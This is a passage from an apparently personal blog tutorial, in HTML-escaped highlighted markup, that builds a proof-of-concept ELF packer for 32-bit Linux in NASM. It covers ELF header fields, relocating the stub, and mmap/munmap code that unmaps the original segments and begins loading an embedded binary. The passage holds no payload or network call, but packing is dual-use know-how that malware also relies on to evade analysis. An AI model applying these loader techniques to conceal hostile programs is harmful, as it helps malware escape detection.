&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_shnum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* ignore */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_shstrndx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* ignore */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Elf32_Ehdr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* Program header */&lt;/span&gt;

&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* Type of segment */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_offset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Location of data within file */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_vaddr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* Virtual address */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_paddr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* Ignore */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_filesz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Size of data within file */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_memsz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* Size of data to be loaded into memory*/&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* Flags */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;p_align&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* Required alignment - can ignore */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Elf32_Phdr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here we just need the e_entry, e_phoff and e_phnum fields of the Elf32_Ehdr structure to have offset and number of Elf32_Phdr entries. For the Elf32_Phdr structure, we need to check if p_type is equal to PT_LOAD (we don't give a fuck about other segment types, they do not contain any useful information for us). If it's equal, we'll need p_offset, p_vaddr, p_filesz and p_memsz fields to have information about memory mapping.&lt;br /&gt;
And, unlike Win32 and PE header, nothing is aligned in ELF header, so we'll need to get our hands dirty and align everything by yourselves (the program excepts to have the byte of the file at the p_offset at the p_vaddr of the memory).&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Btw, if you are interested, I wrote a NASM header to work with elf easier that you can download &lt;a href="http://repo.aassfxxx.infos.st/misc/asm/elf.inc"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Let's code baby !&lt;/h2&gt;
&lt;p&gt;The first "problem" to avoid, as I said in the first part is to copy the code into an empty section. So, we'll use some nasm magic, and do a code like this:

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;_start:&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;;; mapping stuff (eax contains mapping addr)&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;packer_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;packer_start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;packer_start&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;movsb&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;

&lt;span class="nl"&gt;packer_start:&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;;; some code and data&lt;/span&gt;
&lt;span class="nl"&gt;packer_end:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


We'll also need to know where all the data needed is stored in the mapping, which can be done by storing mapping base (contained in eax) into a local variable and adding data offset relative to packer_start to it.

Now, let's go deeper in the packer code. First of all, it saves the offset. Then it grabs its program header table offset and number of elements, multiplies the number of elements by the program header's size to have the number of bytes to allocate (because the original program header table will be unmapped by the program and we'll get a segfault if we try to access to unmapped memory, so we need to copy the program header table elsewhere).

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;do_work:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;14h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; save calculated offset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;dynamic&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Gets offset and header&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08048000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phoff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Calculates the right number of sections&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phnum&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phentsize&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; save number of sections&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mul&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; save number of bytes to copy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;1000h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffff000h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;tempsize&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


Then it maps new memory space and copies the program header table in the new allocated memory.

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Maps a section to contain self&amp;#39;s program header&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; offset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; fd&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_ANONYMOUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; flags&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; protections&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; calculated size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; no adress&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SYS_MMAP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;80h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; syscall&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; copy program headers&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;tempmap&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;movsb&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Point to first program header&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



It unmaps all the sections of the binary and unmaps the mapping just created once the job done.

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; unmap old ELF sections&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.loop:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_type&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PT_LOAD&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.next&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; push program header offset&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;unmap_stuff&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;.next:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.loop&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Cleanup old mapping&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;tempmap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;tempsize&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SYS_MUNMAP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



Then, the packer grabs the original ELF binary (I didn't compress it for the PoC), reads its program header table, and maps the section if PT_LOAD is found. I also check if PT_INTERP exists, and if it's the case, we'll make the packer abort (because we don't map the dynamic linker in this article and without it, we can't do anything).

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;packedbin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;do_work&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; get elf in memory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phoff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;word&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phnum&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.loop2:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; check if it&amp;#39;s a loading information segment&lt;/span&gt;
